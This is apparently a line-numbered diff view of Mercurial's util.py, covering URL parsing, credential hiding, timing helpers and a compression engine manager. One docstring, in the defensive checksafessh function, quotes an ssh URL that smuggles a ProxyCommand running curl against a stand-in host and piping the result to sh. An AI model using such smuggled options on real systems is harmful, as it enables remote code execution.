2907 # normal URLS
2623 # normal URLS
2908 if path.startswith('bundle:'):
2624 if path.startswith('bundle:'):
2909 self.scheme = 'bundle'
2625 self.scheme = 'bundle'
2910 path = path[7:]
2626 path = path[7:]
2911 if path.startswith('//'):
2627 if path.startswith('//'):
2912 path = path[2:]
2628 path = path[2:]
2913 self.path = path
2629 self.path = path
2914 return
2630 return
2915
2631
2916 if self._matchscheme(path):
2632 if self._matchscheme(path):
2917 parts = path.split(':', 1)
2633 parts = path.split(':', 1)
2918 if parts[0]:
2634 if parts[0]:
2919 self.scheme, path = parts
2635 self.scheme, path = parts
2920 self._localpath = False
2636 self._localpath = False
2921
2637
2922 if not path:
2638 if not path:
2923 path = None
2639 path = None
2924 if self._localpath:
2640 if self._localpath:
2925 self.path = ''
2641 self.path = ''
2926 return
2642 return
2927 else:
2643 else:
2928 if self._localpath:
2644 if self._localpath:
2929 self.path = path
2645 self.path = path
2930 return
2646 return
2931
2647
2932 if parsequery and '?' in path:
2648 if parsequery and '?' in path:
2933 path, self.query = path.split('?', 1)
2649 path, self.query = path.split('?', 1)
2934 if not path:
2650 if not path:
2935 path = None
2651 path = None
2936 if not self.query:
2652 if not self.query:
2937 self.query = None
2653 self.query = None
2938
2654
2939 # // is required to specify a host/authority
2655 # // is required to specify a host/authority
2940 if path and path.startswith('//'):
2656 if path and path.startswith('//'):
2941 parts = path[2:].split('/', 1)
2657 parts = path[2:].split('/', 1)
2942 if len(parts) > 1:
2658 if len(parts) > 1:
2943 self.host, path = parts
2659 self.host, path = parts
2944 else:
2660 else:
2945 self.host = parts[0]
2661 self.host = parts[0]
2946 path = None
2662 path = None
2947 if not self.host:
2663 if not self.host:
2948 self.host = None
2664 self.host = None
2949 # path of file:///d is /d
2665 # path of file:///d is /d
2950 # path of file:///d:/ is d:/, not /d:/
2666 # path of file:///d:/ is d:/, not /d:/
2951 if path and not hasdriveletter(path):
2667 if path and not hasdriveletter(path):
2952 path = '/' + path
2668 path = '/' + path
2953
2669
2954 if self.host and '@' in self.host:
2670 if self.host and '@' in self.host:
2955 self.user, self.host = self.host.rsplit('@', 1)
2671 self.user, self.host = self.host.rsplit('@', 1)
2956 if ':' in self.user:
2672 if ':' in self.user:
2957 self.user, self.passwd = self.user.split(':', 1)
2673 self.user, self.passwd = self.user.split(':', 1)
2958 if not self.host:
2674 if not self.host:
2959 self.host = None
2675 self.host = None
2960
2676
2961 # Don't split on colons in IPv6 addresses without ports
2677 # Don't split on colons in IPv6 addresses without ports
2962 if (self.host and ':' in self.host and
2678 if (self.host and ':' in self.host and
2963 not (self.host.startswith('[') and self.host.endswith(']'))):
2679 not (self.host.startswith('[') and self.host.endswith(']'))):
2964 self._hostport = self.host
2680 self._hostport = self.host
2965 self.host, self.port = self.host.rsplit(':', 1)
2681 self.host, self.port = self.host.rsplit(':', 1)
2966 if not self.host:
2682 if not self.host:
2967 self.host = None
2683 self.host = None
2968
2684
2969 if (self.host and self.scheme == 'file' and
2685 if (self.host and self.scheme == 'file' and
2970 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2686 self.host not in ('localhost', '127.0.0.1', '[::1]')):
2971 raise error.Abort(_('file:// URLs can only refer to localhost'))
2687 raise error.Abort(_('file:// URLs can only refer to localhost'))
2972
2688
2973 self.path = path
2689 self.path = path
2974
2690
2975 # leave the query string escaped
2691 # leave the query string escaped
2976 for a in ('user', 'passwd', 'host', 'port',
2692 for a in ('user', 'passwd', 'host', 'port',
2977 'path', 'fragment'):
2693 'path', 'fragment'):
2978 v = getattr(self, a)
2694 v = getattr(self, a)
2979 if v is not None:
2695 if v is not None:
2980 setattr(self, a, urlreq.unquote(v))
2696 setattr(self, a, urlreq.unquote(v))
2981
2697
2982 @encoding.strmethod
2698 @encoding.strmethod
2983 def __repr__(self):
2699 def __repr__(self):
2984 attrs = []
2700 attrs = []
2985 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2701 for a in ('scheme', 'user', 'passwd', 'host', 'port', 'path',
2986 'query', 'fragment'):
2702 'query', 'fragment'):
2987 v = getattr(self, a)
2703 v = getattr(self, a)
2988 if v is not None:
2704 if v is not None:
2989 attrs.append('%s: %r' % (a, v))
2705 attrs.append('%s: %r' % (a, v))
2990 return '<url %s>' % ', '.join(attrs)
2706 return '<url %s>' % ', '.join(attrs)
2991
2707
2992 def __bytes__(self):
2708 def __bytes__(self):
2993 r"""Join the URL's components back into a URL string.
2709 r"""Join the URL's components back into a URL string.
2994
2710
2995 Examples:
2711 Examples:
2996
2712
2997 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2713 >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'))
2998 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2714 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar'
2999 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
2715 >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42'))
3000 'http://user:pw@host:80/?foo=bar&baz=42'
2716 'http://user:pw@host:80/?foo=bar&baz=42'
3001 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
2717 >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz'))
3002 'http://user:pw@host:80/?foo=bar%3dbaz'
2718 'http://user:pw@host:80/?foo=bar%3dbaz'
3003 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
2719 >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#'))
3004 'ssh://user:pw@[::1]:2200//home/joe#'
2720 'ssh://user:pw@[::1]:2200//home/joe#'
3005 >>> bytes(url(b'http://localhost:80//'))
2721 >>> bytes(url(b'http://localhost:80//'))
3006 'http://localhost:80//'
2722 'http://localhost:80//'
3007 >>> bytes(url(b'http://localhost:80/'))
2723 >>> bytes(url(b'http://localhost:80/'))
3008 'http://localhost:80/'
2724 'http://localhost:80/'
3009 >>> bytes(url(b'http://localhost:80'))
2725 >>> bytes(url(b'http://localhost:80'))
3010 'http://localhost:80/'
2726 'http://localhost:80/'
3011 >>> bytes(url(b'bundle:foo'))
2727 >>> bytes(url(b'bundle:foo'))
3012 'bundle:foo'
2728 'bundle:foo'
3013 >>> bytes(url(b'bundle://../foo'))
2729 >>> bytes(url(b'bundle://../foo'))
3014 'bundle:../foo'
2730 'bundle:../foo'
3015 >>> bytes(url(b'path'))
2731 >>> bytes(url(b'path'))
3016 'path'
2732 'path'
3017 >>> bytes(url(b'file:///tmp/foo/bar'))
2733 >>> bytes(url(b'file:///tmp/foo/bar'))
3018 'file:///tmp/foo/bar'
2734 'file:///tmp/foo/bar'
3019 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
2735 >>> bytes(url(b'file:///c:/tmp/foo/bar'))
3020 'file:///c:/tmp/foo/bar'
2736 'file:///c:/tmp/foo/bar'
3021 >>> print(url(br'bundle:foo\bar'))
2737 >>> print(url(br'bundle:foo\bar'))
3022 bundle:foo\bar
2738 bundle:foo\bar
3023 >>> print(url(br'file:///D:\data\hg'))
2739 >>> print(url(br'file:///D:\data\hg'))
3024 file:///D:\data\hg
2740 file:///D:\data\hg
3025 """
2741 """
3026 if self._localpath:
2742 if self._localpath:
3027 s = self.path
2743 s = self.path
3028 if self.scheme == 'bundle':
2744 if self.scheme == 'bundle':
3029 s = 'bundle:' + s
2745 s = 'bundle:' + s
3030 if self.fragment:
2746 if self.fragment:
3031 s += '#' + self.fragment
2747 s += '#' + self.fragment
3032 return s
2748 return s
3033
2749
3034 s = self.scheme + ':'
2750 s = self.scheme + ':'
3035 if self.user or self.passwd or self.host:
2751 if self.user or self.passwd or self.host:
3036 s += '//'
2752 s += '//'
3037 elif self.scheme and (not self.path or self.path.startswith('/')
2753 elif self.scheme and (not self.path or self.path.startswith('/')
3038 or hasdriveletter(self.path)):
2754 or hasdriveletter(self.path)):
3039 s += '//'
2755 s += '//'
3040 if hasdriveletter(self.path):
2756 if hasdriveletter(self.path):
3041 s += '/'
2757 s += '/'
3042 if self.user:
2758 if self.user:
3043 s += urlreq.quote(self.user, safe=self._safechars)
2759 s += urlreq.quote(self.user, safe=self._safechars)
3044 if self.passwd:
2760 if self.passwd:
3045 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
2761 s += ':' + urlreq.quote(self.passwd, safe=self._safechars)
3046 if self.user or self.passwd:
2762 if self.user or self.passwd:
3047 s += '@'
2763 s += '@'
3048 if self.host:
2764 if self.host:
3049 if not (self.host.startswith('[') and self.host.endswith(']')):
2765 if not (self.host.startswith('[') and self.host.endswith(']')):
3050 s += urlreq.quote(self.host)
2766 s += urlreq.quote(self.host)
3051 else:
2767 else:
3052 s += self.host
2768 s += self.host
3053 if self.port:
2769 if self.port:
3054 s += ':' + urlreq.quote(self.port)
2770 s += ':' + urlreq.quote(self.port)
3055 if self.host:
2771 if self.host:
3056 s += '/'
2772 s += '/'
3057 if self.path:
2773 if self.path:
3058 # TODO: similar to the query string, we should not unescape the
2774 # TODO: similar to the query string, we should not unescape the
3059 # path when we store it, the path might contain '%2f' = '/',
2775 # path when we store it, the path might contain '%2f' = '/',
3060 # which we should *not* escape.
2776 # which we should *not* escape.
3061 s += urlreq.quote(self.path, safe=self._safepchars)
2777 s += urlreq.quote(self.path, safe=self._safepchars)
3062 if self.query:
2778 if self.query:
3063 # we store the query in escaped form.
2779 # we store the query in escaped form.
3064 s += '?' + self.query
2780 s += '?' + self.query
3065 if self.fragment is not None:
2781 if self.fragment is not None:
3066 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
2782 s += '#' + urlreq.quote(self.fragment, safe=self._safepchars)
3067 return s
2783 return s
3068
2784
3069 __str__ = encoding.strmethod(__bytes__)
2785 __str__ = encoding.strmethod(__bytes__)
3070
2786
3071 def authinfo(self):
2787 def authinfo(self):
3072 user, passwd = self.user, self.passwd
2788 user, passwd = self.user, self.passwd
3073 try:
2789 try:
3074 self.user, self.passwd = None, None
2790 self.user, self.passwd = None, None
3075 s = bytes(self)
2791 s = bytes(self)
3076 finally:
2792 finally:
3077 self.user, self.passwd = user, passwd
2793 self.user, self.passwd = user, passwd
3078 if not self.user:
2794 if not self.user:
3079 return (s, None)
2795 return (s, None)
3080 # authinfo[1] is passed to urllib2 password manager, and its
2796 # authinfo[1] is passed to urllib2 password manager, and its
3081 # URIs must not contain credentials. The host is passed in the
2797 # URIs must not contain credentials. The host is passed in the
3082 # URIs list because Python < 2.4.3 uses only that to search for
2798 # URIs list because Python < 2.4.3 uses only that to search for
3083 # a password.
2799 # a password.
3084 return (s, (None, (s, self.host),
2800 return (s, (None, (s, self.host),
3085 self.user, self.passwd or ''))
2801 self.user, self.passwd or ''))
3086
2802
3087 def isabs(self):
2803 def isabs(self):
3088 if self.scheme and self.scheme != 'file':
2804 if self.scheme and self.scheme != 'file':
3089 return True # remote URL
2805 return True # remote URL
3090 if hasdriveletter(self.path):
2806 if hasdriveletter(self.path):
3091 return True # absolute for our purposes - can't be joined()
2807 return True # absolute for our purposes - can't be joined()
3092 if self.path.startswith(br'\\'):
2808 if self.path.startswith(br'\\'):
3093 return True # Windows UNC path
2809 return True # Windows UNC path
3094 if self.path.startswith('/'):
2810 if self.path.startswith('/'):
3095 return True # POSIX-style
2811 return True # POSIX-style
3096 return False
2812 return False
3097
2813
3098 def localpath(self):
2814 def localpath(self):
3099 if self.scheme == 'file' or self.scheme == 'bundle':
2815 if self.scheme == 'file' or self.scheme == 'bundle':
3100 path = self.path or '/'
2816 path = self.path or '/'
3101 # For Windows, we need to promote hosts containing drive
2817 # For Windows, we need to promote hosts containing drive
3102 # letters to paths with drive letters.
2818 # letters to paths with drive letters.
3103 if hasdriveletter(self._hostport):
2819 if hasdriveletter(self._hostport):
3104 path = self._hostport + '/' + self.path
2820 path = self._hostport + '/' + self.path
3105 elif (self.host is not None and self.path
2821 elif (self.host is not None and self.path
3106 and not hasdriveletter(path)):
2822 and not hasdriveletter(path)):
3107 path = '/' + path
2823 path = '/' + path
3108 return path
2824 return path
3109 return self._origpath
2825 return self._origpath
3110
2826
3111 def islocal(self):
2827 def islocal(self):
3112 '''whether localpath will return something that posixfile can open'''
2828 '''whether localpath will return something that posixfile can open'''
3113 return (not self.scheme or self.scheme == 'file'
2829 return (not self.scheme or self.scheme == 'file'
3114 or self.scheme == 'bundle')
2830 or self.scheme == 'bundle')
3115
2831
3116 def hasscheme(path):
2832 def hasscheme(path):
3117 return bool(url(path).scheme)
2833 return bool(url(path).scheme)
3118
2834
3119 def hasdriveletter(path):
2835 def hasdriveletter(path):
3120 return path and path[1:2] == ':' and path[0:1].isalpha()
2836 return path and path[1:2] == ':' and path[0:1].isalpha()
3121
2837
3122 def urllocalpath(path):
2838 def urllocalpath(path):
3123 return url(path, parsequery=False, parsefragment=False).localpath()
2839 return url(path, parsequery=False, parsefragment=False).localpath()
3124
2840
3125 def checksafessh(path):
2841 def checksafessh(path):
3126 """check if a path / url is a potentially unsafe ssh exploit (SEC)
2842 """check if a path / url is a potentially unsafe ssh exploit (SEC)
3127
2843
3128 This is a sanity check for ssh urls. ssh will parse the first item as
2844 This is a sanity check for ssh urls. ssh will parse the first item as
3129 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
2845 an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
3130 Let's prevent these potentially exploited urls entirely and warn the
2846 Let's prevent these potentially exploited urls entirely and warn the
3131 user.
2847 user.
3132
2848
3133 Raises an error.Abort when the url is unsafe.
2849 Raises an error.Abort when the url is unsafe.
3134 """
2850 """
3135 path = urlreq.unquote(path)
2851 path = urlreq.unquote(path)
3136 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
2852 if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
3137 raise error.Abort(_('potentially unsafe url: %r') %
2853 raise error.Abort(_('potentially unsafe url: %r') %
3138 (pycompat.bytestr(path),))
2854 (pycompat.bytestr(path),))
3139
2855
3140 def hidepassword(u):
2856 def hidepassword(u):
3141 '''hide user credential in a url string'''
2857 '''hide user credential in a url string'''
3142 u = url(u)
2858 u = url(u)
3143 if u.passwd:
2859 if u.passwd:
3144 u.passwd = '***'
2860 u.passwd = '***'
3145 return bytes(u)
2861 return bytes(u)
3146
2862
3147 def removeauth(u):
2863 def removeauth(u):
3148 '''remove all authentication information from a url string'''
2864 '''remove all authentication information from a url string'''
3149 u = url(u)
2865 u = url(u)
3150 u.user = u.passwd = None
2866 u.user = u.passwd = None
3151 return str(u)
2867 return str(u)
3152
2868
3153 timecount = unitcountfn(
2869 timecount = unitcountfn(
3154 (1, 1e3, _('%.0f s')),
2870 (1, 1e3, _('%.0f s')),
3155 (100, 1, _('%.1f s')),
2871 (100, 1, _('%.1f s')),
3156 (10, 1, _('%.2f s')),
2872 (10, 1, _('%.2f s')),
3157 (1, 1, _('%.3f s')),
2873 (1, 1, _('%.3f s')),
3158 (100, 0.001, _('%.1f ms')),
2874 (100, 0.001, _('%.1f ms')),
3159 (10, 0.001, _('%.2f ms')),
2875 (10, 0.001, _('%.2f ms')),
3160 (1, 0.001, _('%.3f ms')),
2876 (1, 0.001, _('%.3f ms')),
3161 (100, 0.000001, _('%.1f us')),
2877 (100, 0.000001, _('%.1f us')),
3162 (10, 0.000001, _('%.2f us')),
2878 (10, 0.000001, _('%.2f us')),
3163 (1, 0.000001, _('%.3f us')),
2879 (1, 0.000001, _('%.3f us')),
3164 (100, 0.000000001, _('%.1f ns')),
2880 (100, 0.000000001, _('%.1f ns')),
3165 (10, 0.000000001, _('%.2f ns')),
2881 (10, 0.000000001, _('%.2f ns')),
3166 (1, 0.000000001, _('%.3f ns')),
2882 (1, 0.000000001, _('%.3f ns')),
3167 )
2883 )
3168
2884
3169 _timenesting = [0]
2885 _timenesting = [0]
3170
2886
3171 def timed(func):
2887 def timed(func):
3172 '''Report the execution time of a function call to stderr.
2888 '''Report the execution time of a function call to stderr.
3173
2889
3174 During development, use as a decorator when you need to measure
2890 During development, use as a decorator when you need to measure
3175 the cost of a function, e.g. as follows:
2891 the cost of a function, e.g. as follows:
3176
2892
3177 @util.timed
2893 @util.timed
3178 def foo(a, b, c):
2894 def foo(a, b, c):
3179 pass
2895 pass
3180 '''
2896 '''
3181
2897
3182 def wrapper(*args, **kwargs):
2898 def wrapper(*args, **kwargs):
3183 start = timer()
2899 start = timer()
3184 indent = 2
2900 indent = 2
3185 _timenesting[0] += indent
2901 _timenesting[0] += indent
3186 try:
2902 try:
3187 return func(*args, **kwargs)
2903 return func(*args, **kwargs)
3188 finally:
2904 finally:
3189 elapsed = timer() - start
2905 elapsed = timer() - start
3190 _timenesting[0] -= indent
2906 _timenesting[0] -= indent
3191 stderr.write('%s%s: %s\n' %
2907 stderr.write('%s%s: %s\n' %
3192 (' ' * _timenesting[0], func.__name__,
2908 (' ' * _timenesting[0], func.__name__,
3193 timecount(elapsed)))
2909 timecount(elapsed)))
3194 return wrapper
2910 return wrapper
3195
2911
3196 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
2912 _sizeunits = (('m', 2**20), ('k', 2**10), ('g', 2**30),
3197 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
2913 ('kb', 2**10), ('mb', 2**20), ('gb', 2**30), ('b', 1))
3198
2914
3199 def sizetoint(s):
2915 def sizetoint(s):
3200 '''Convert a space specifier to a byte count.
2916 '''Convert a space specifier to a byte count.
3201
2917
3202 >>> sizetoint(b'30')
2918 >>> sizetoint(b'30')
3203 30
2919 30
3204 >>> sizetoint(b'2.2kb')
2920 >>> sizetoint(b'2.2kb')
3205 2252
2921 2252
3206 >>> sizetoint(b'6M')
2922 >>> sizetoint(b'6M')
3207 6291456
2923 6291456
3208 '''
2924 '''
3209 t = s.strip().lower()
2925 t = s.strip().lower()
3210 try:
2926 try:
3211 for k, u in _sizeunits:
2927 for k, u in _sizeunits:
3212 if t.endswith(k):
2928 if t.endswith(k):
3213 return int(float(t[:-len(k)]) * u)
2929 return int(float(t[:-len(k)]) * u)
3214 return int(t)
2930 return int(t)
3215 except ValueError:
2931 except ValueError:
3216 raise error.ParseError(_("couldn't parse size: %s") % s)
2932 raise error.ParseError(_("couldn't parse size: %s") % s)
3217
2933
3218 class hooks(object):
2934 class hooks(object):
3219 '''A collection of hook functions that can be used to extend a
2935 '''A collection of hook functions that can be used to extend a
3220 function's behavior. Hooks are called in lexicographic order,
2936 function's behavior. Hooks are called in lexicographic order,
3221 based on the names of their sources.'''
2937 based on the names of their sources.'''
3222
2938
3223 def __init__(self):
2939 def __init__(self):
3224 self._hooks = []
2940 self._hooks = []
3225
2941
3226 def add(self, source, hook):
2942 def add(self, source, hook):
3227 self._hooks.append((source, hook))
2943 self._hooks.append((source, hook))
3228
2944
3229 def __call__(self, *args):
2945 def __call__(self, *args):
3230 self._hooks.sort(key=lambda x: x[0])
2946 self._hooks.sort(key=lambda x: x[0])
3231 results = []
2947 results = []
3232 for source, hook in self._hooks:
2948 for source, hook in self._hooks:
3233 results.append(hook(*args))
2949 results.append(hook(*args))
3234 return results
2950 return results
3235
2951
3236 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
2952 def getstackframes(skip=0, line=' %-*s in %s\n', fileline='%s:%d', depth=0):
3237 '''Yields lines for a nicely formatted stacktrace.
2953 '''Yields lines for a nicely formatted stacktrace.
3238 Skips the 'skip' last entries, then return the last 'depth' entries.
2954 Skips the 'skip' last entries, then return the last 'depth' entries.
3239 Each file+linenumber is formatted according to fileline.
2955 Each file+linenumber is formatted according to fileline.
3240 Each line is formatted according to line.
2956 Each line is formatted according to line.
3241 If line is None, it yields:
2957 If line is None, it yields:
3242 length of longest filepath+line number,
2958 length of longest filepath+line number,
3243 filepath+linenumber,
2959 filepath+linenumber,
3244 function
2960 function
3245
2961
3246 Not be used in production code but very convenient while developing.
2962 Not be used in production code but very convenient while developing.
3247 '''
2963 '''
3248 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
2964 entries = [(fileline % (pycompat.sysbytes(fn), ln), pycompat.sysbytes(func))
3249 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
2965 for fn, ln, func, _text in traceback.extract_stack()[:-skip - 1]
3250 ][-depth:]
2966 ][-depth:]
3251 if entries:
2967 if entries:
3252 fnmax = max(len(entry[0]) for entry in entries)
2968 fnmax = max(len(entry[0]) for entry in entries)
3253 for fnln, func in entries:
2969 for fnln, func in entries:
3254 if line is None:
2970 if line is None:
3255 yield (fnmax, fnln, func)
2971 yield (fnmax, fnln, func)
3256 else:
2972 else:
3257 yield line % (fnmax, fnln, func)
2973 yield line % (fnmax, fnln, func)
3258
2974
3259 def debugstacktrace(msg='stacktrace', skip=0,
2975 def debugstacktrace(msg='stacktrace', skip=0,
3260 f=stderr, otherf=stdout, depth=0):
2976 f=procutil.stderr, otherf=procutil.stdout, depth=0):
3261 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
2977 '''Writes a message to f (stderr) with a nicely formatted stacktrace.
3262 Skips the 'skip' entries closest to the call, then show 'depth' entries.
2978 Skips the 'skip' entries closest to the call, then show 'depth' entries.
3263 By default it will flush stdout first.
2979 By default it will flush stdout first.
3264 It can be used everywhere and intentionally does not require an ui object.
2980 It can be used everywhere and intentionally does not require an ui object.
3265 Not be used in production code but very convenient while developing.
2981 Not be used in production code but very convenient while developing.
3266 '''
2982 '''
3267 if otherf:
2983 if otherf:
3268 otherf.flush()
2984 otherf.flush()
3269 f.write('%s at:\n' % msg.rstrip())
2985 f.write('%s at:\n' % msg.rstrip())
3270 for line in getstackframes(skip + 1, depth=depth):
2986 for line in getstackframes(skip + 1, depth=depth):
3271 f.write(line)
2987 f.write(line)
3272 f.flush()
2988 f.flush()
3273
2989
3274 class dirs(object):
2990 class dirs(object):
3275 '''a multiset of directory names from a dirstate or manifest'''
2991 '''a multiset of directory names from a dirstate or manifest'''
3276
2992
3277 def __init__(self, map, skip=None):
2993 def __init__(self, map, skip=None):
3278 self._dirs = {}
2994 self._dirs = {}
3279 addpath = self.addpath
2995 addpath = self.addpath
3280 if safehasattr(map, 'iteritems') and skip is not None:
2996 if safehasattr(map, 'iteritems') and skip is not None:
3281 for f, s in map.iteritems():
2997 for f, s in map.iteritems():
3282 if s[0] != skip:
2998 if s[0] != skip:
3283 addpath(f)
2999 addpath(f)
3284 else:
3000 else:
3285 for f in map:
3001 for f in map:
3286 addpath(f)
3002 addpath(f)
3287
3003
3288 def addpath(self, path):
3004 def addpath(self, path):
3289 dirs = self._dirs
3005 dirs = self._dirs
3290 for base in finddirs(path):
3006 for base in finddirs(path):
3291 if base in dirs:
3007 if base in dirs:
3292 dirs[base] += 1
3008 dirs[base] += 1
3293 return
3009 return
3294 dirs[base] = 1
3010 dirs[base] = 1
3295
3011
3296 def delpath(self, path):
3012 def delpath(self, path):
3297 dirs = self._dirs
3013 dirs = self._dirs
3298 for base in finddirs(path):
3014 for base in finddirs(path):
3299 if dirs[base] > 1:
3015 if dirs[base] > 1:
3300 dirs[base] -= 1
3016 dirs[base] -= 1
3301 return
3017 return
3302 del dirs[base]
3018 del dirs[base]
3303
3019
3304 def __iter__(self):
3020 def __iter__(self):
3305 return iter(self._dirs)
3021 return iter(self._dirs)
3306
3022
3307 def __contains__(self, d):
3023 def __contains__(self, d):
3308 return d in self._dirs
3024 return d in self._dirs
3309
3025
3310 if safehasattr(parsers, 'dirs'):
3026 if safehasattr(parsers, 'dirs'):
3311 dirs = parsers.dirs
3027 dirs = parsers.dirs
3312
3028
3313 def finddirs(path):
3029 def finddirs(path):
3314 pos = path.rfind('/')
3030 pos = path.rfind('/')
3315 while pos != -1:
3031 while pos != -1:
3316 yield path[:pos]
3032 yield path[:pos]
3317 pos = path.rfind('/', 0, pos)
3033 pos = path.rfind('/', 0, pos)
3318
3034
3319 # compression code
3035 # compression code
3320
3036
3321 SERVERROLE = 'server'
3037 SERVERROLE = 'server'
3322 CLIENTROLE = 'client'
3038 CLIENTROLE = 'client'
3323
3039
3324 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3040 compewireprotosupport = collections.namedtuple(u'compenginewireprotosupport',
3325 (u'name', u'serverpriority',
3041 (u'name', u'serverpriority',
3326 u'clientpriority'))
3042 u'clientpriority'))
3327
3043
3328 class compressormanager(object):
3044 class compressormanager(object):
3329 """Holds registrations of various compression engines.
3045 """Holds registrations of various compression engines.
3330
3046
3331 This class essentially abstracts the differences between compression
3047 This class essentially abstracts the differences between compression
3332 engines to allow new compression formats to be added easily, possibly from
3048 engines to allow new compression formats to be added easily, possibly from
3333 extensions.
3049 extensions.
3334
3050
3335 Compressors are registered against the global instance by calling its
3051 Compressors are registered against the global instance by calling its
3336 ``register()`` method.
3052 ``register()`` method.
3337 """
3053 """
3338 def __init__(self):
3054 def __init__(self):
3339 self._engines = {}
3055 self._engines = {}
3340 # Bundle spec human name to engine name.
3056 # Bundle spec human name to engine name.
3341 self._bundlenames = {}
3057 self._bundlenames = {}
3342 # Internal bundle identifier to engine name.
3058 # Internal bundle identifier to engine name.
3343 self._bundletypes = {}
3059 self._bundletypes = {}
3344 # Revlog header to engine name.
3060 # Revlog header to engine name.
3345 self._revlogheaders = {}
3061 self._revlogheaders = {}
3346 # Wire proto identifier to engine name.
3062 # Wire proto identifier to engine name.
3347 self._wiretypes = {}
3063 self._wiretypes = {}
3348
3064
3349 def __getitem__(self, key):
3065 def __getitem__(self, key):
3350 return self._engines[key]
3066 return self._engines[key]
3351
3067
3352 def __contains__(self, key):
3068 def __contains__(self, key):
3353 return key in self._engines
3069 return key in self._engines
3354
3070
3355 def __iter__(self):
3071 def __iter__(self):
3356 return iter(self._engines.keys())
3072 return iter(self._engines.keys())
3357
3073
3358 def register(self, engine):
3074 def register(self, engine):
3359 """Register a compression engine with the manager.
3075 """Register a compression engine with the manager.
3360
3076
3361 The argument must be a ``compressionengine`` instance.
3077 The argument must be a ``compressionengine`` instance.
3362 """
3078 """
3363 if not isinstance(engine, compressionengine):
3079 if not isinstance(engine, compressionengine):
3364 raise ValueError(_('argument must be a compressionengine'))
3080 raise ValueError(_('argument must be a compressionengine'))
3365
3081
3366 name = engine.name()
3082 name = engine.name()
3367
3083
3368 if name in self._engines:
3084 if name in self._engines:
3369 raise error.Abort(_('compression engine %s already registered') %
3085 raise error.Abort(_('compression engine %s already registered') %
3370 name)
3086 name)
3371
3087
3372 bundleinfo = engine.bundletype()
3088 bundleinfo = engine.bundletype()
3373 if bundleinfo:
3089 if bundleinfo:
3374 bundlename, bundletype = bundleinfo
3090 bundlename, bundletype = bundleinfo
3375
3091
3376 if bundlename in self._bundlenames:
3092 if bundlename in self._bundlenames:
3377 raise error.Abort(_('bundle name %s already registered') %
3093 raise error.Abort(_('bundle name %s already registered') %
3378 bundlename)
3094 bundlename)
3379 if bundletype in self._bundletypes:
3095 if bundletype in self._bundletypes:
3380 raise error.Abort(_('bundle type %s already registered by %s') %
3096 raise error.Abort(_('bundle type %s already registered by %s') %
3381 (bundletype, self._bundletypes[bundletype]))
3097 (bundletype, self._bundletypes[bundletype]))
3382
3098
3383 # No external facing name declared.
3099 # No external facing name declared.
3384 if bundlename:
3100 if bundlename:
3385 self._bundlenames[bundlename] = name
3101 self._bundlenames[bundlename] = name
3386
3102
3387 self._bundletypes[bundletype] = name
3103 self._bundletypes[bundletype] = name
3388
3104
3389 wiresupport = engine.wireprotosupport()
3105 wiresupport = engine.wireprotosupport()
3390 if wiresupport:
3106 if wiresupport:
3391 wiretype = wiresupport.name
3107 wiretype = wiresupport.name
3392 if wiretype in self._wiretypes:
3108 if wiretype in self._wiretypes:
3393 raise error.Abort(_('wire protocol compression %s already '
3109 raise error.Abort(_('wire protocol compression %s already '
3394 'registered by %s') %
3110 'registered by %s') %
3395 (wiretype, self._wiretypes[wiretype]))
3111 (wiretype, self._wiretypes[wiretype]))
3396
3112
3397 self._wiretypes[wiretype] = name
3113 self._wiretypes[wiretype] = name
3398
3114
3399 revlogheader = engine.revlogheader()
3115 revlogheader = engine.revlogheader()
3400 if revlogheader and revlogheader in self._revlogheaders:
3116 if revlogheader and revlogheader in self._revlogheaders:
3401 raise error.Abort(_('revlog header %s already registered by %s') %
3117 raise error.Abort(_('revlog header %s already registered by %s') %
3402 (revlogheader, self._revlogheaders[revlogheader]))
3118 (revlogheader, self._revlogheaders[revlogheader]))
3403
3119
3404 if revlogheader:
3120 if revlogheader:
3405 self._revlogheaders[revlogheader] = name
3121 self._revlogheaders[revlogheader] = name
3406
3122
3407 self._engines[name] = engine
3123 self._engines[name] = engine
3408
3124
3409 @property
3125 @property
3410 def supportedbundlenames(self):
3126 def supportedbundlenames(self):
3411 return set(self._bundlenames.keys())
3127 return set(self._bundlenames.keys())
3412
3128
3413 @property
3129 @property
3414 def supportedbundletypes(self):
3130 def supportedbundletypes(self):
3415 return set(self._bundletypes.keys())
3131 return set(self._bundletypes.keys())
3416
3132
3417 def forbundlename(self, bundlename):
3133 def forbundlename(self, bundlename):
3418 """Obtain a compression engine registered to a bundle name.
3134 """Obtain a compression engine registered to a bundle name.
3419
3135
3420 Will raise KeyError if the bundle type isn't registered.
3136 Will raise KeyError if the bundle type isn't registered.
3421
3137
3422 Will abort if the engine is known but not available.
3138 Will abort if the engine is known but not available.
3423 """
3139 """
3424 engine = self._engines[self._bundlenames[bundlename]]
3140 engine = self._engines[self._bundlenames[bundlename]]
3425 if not engine.available():
3141 if not engine.available():
3426 raise error.Abort(_('compression engine %s could not be loaded') %
3142 raise error.Abort(_('compression engine %s could not be loaded') %
3427 engine.name())
3143 engine.name())
3428 return engine
3144 return engine
3429
3145
